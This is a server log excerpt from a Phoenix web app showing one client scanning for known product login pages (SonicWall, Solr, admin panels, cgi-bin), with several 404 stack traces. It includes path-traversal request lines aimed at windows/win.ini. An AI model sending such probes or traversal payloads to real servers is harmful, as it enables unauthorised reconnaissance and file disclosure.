    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:37.517000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57596] GET /
[Thu Sep  3 07:57:37.518000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:57596] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:57:37.518000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57596] Sent 200 in 1ms
[Thu Sep  3 07:57:42.972000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57610] GET /
[Thu Sep  3 07:57:42.972000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:57610] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:57:42.973000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57610] Sent 200 in 1ms
[Thu Sep  3 07:57:46.280000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46978] GET /
[Thu Sep  3 07:57:46.280000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:46978] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:57:46.281000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46978] Sent 200 in 884µs
[Thu Sep  3 07:57:46.744000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46966] GET /userportal/webpages/myaccount/login.jsp
[Thu Sep  3 07:57:46.771000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46966] ** (Phoenix.Router.NoRouteError) no route found for GET /userportal/webpages/myaccount/login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:47.346000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46988] GET /webconsole/webpages/login.jsp
[Thu Sep  3 07:57:47.364000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46988] ** (Phoenix.Router.NoRouteError) no route found for GET /webconsole/webpages/login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:55.773000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52174] GET /api/sonicos/is-sslvpn-enabled
[Thu Sep  3 07:57:55.788000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52174] ** (Phoenix.Router.NoRouteError) no route found for GET /api/sonicos/is-sslvpn-enabled (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:57.499000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52176] GET /sgms/login
[Thu Sep  3 07:57:57.522000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52176] ** (Phoenix.Router.NoRouteError) no route found for GET /sgms/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:58.469000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52190] GET /
[Thu Sep  3 07:57:58.470000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:52190] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:57:58.470000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52190] Sent 200 in 1ms
[Thu Sep  3 07:58:02.543000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52206] GET /login.html
[Thu Sep  3 07:58:02.618000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52206] ** (Phoenix.Router.NoRouteError) no route found for GET /login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:06.297000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38966] GET //admincp/login.php
[Thu Sep  3 07:58:06.322000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38966] ** (Phoenix.Router.NoRouteError) no route found for GET /admincp/login.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:09.105000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38980] GET /index.html
[Thu Sep  3 07:58:09.159000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38980] ** (Phoenix.Router.NoRouteError) no route found for GET /index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:09.827000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38990] GET /
[Thu Sep  3 07:58:09.827000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:38990] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:58:09.828000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38990] Sent 200 in 1ms
[Thu Sep  3 07:58:13.531000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48876] GET /solr/
[Thu Sep  3 07:58:13.560000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48876] ** (Phoenix.Router.NoRouteError) no route found for GET /solr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:14.204000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48878] GET /
[Thu Sep  3 07:58:14.205000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:48878] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:58:14.205000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48878] Sent 200 in 1ms
[Thu Sep  3 07:58:19.371000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48882] GET /cgi-bin/index.cgi
[Thu Sep  3 07:58:19.411000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48882] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/index.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:20.076000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48886] GET /help/en/Forget_pw.html
[Thu Sep  3 07:58:20.129000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48886] ** (Phoenix.Router.NoRouteError) no route found for GET /help/en/Forget_pw.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:20.518000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48894] GET /helpdesk/WebObjects/Helpdesk.woa
[Thu Sep  3 07:58:20.545000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48894] ** (Phoenix.Router.NoRouteError) no route found for GET /helpdesk/WebObjects/Helpdesk.woa (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:23.472000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52370] GET /swvm/ConsoleContainer.jsp
[Thu Sep  3 07:58:23.500000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52370] ** (Phoenix.Router.NoRouteError) no route found for GET /swvm/ConsoleContainer.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:26.491000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52374] GET /../../../../../../../../../../../../windows/win.ini
[Thu Sep  3 07:58:26.518000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52374] ** (Phoenix.Router.NoRouteError) no route found for GET /../../../../../../../../../../../../windows/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:27.182000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52390] GET /../../../../../../../../../../../../winnt/win.ini
[Thu Sep  3 07:58:27.221000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52390] ** (Phoenix.Router.NoRouteError) no route found for GET /../../../../../../../../../../../../winnt/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:27.566000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 07:58:27.900000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 07:58:28.481000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 07:58:28.824000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 07:58:29.372000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52452] GET /lem/index.html
[Thu Sep  3 07:58:29.404000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52452] ** (Phoenix.Router.NoRouteError) no route found for GET /lem/index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
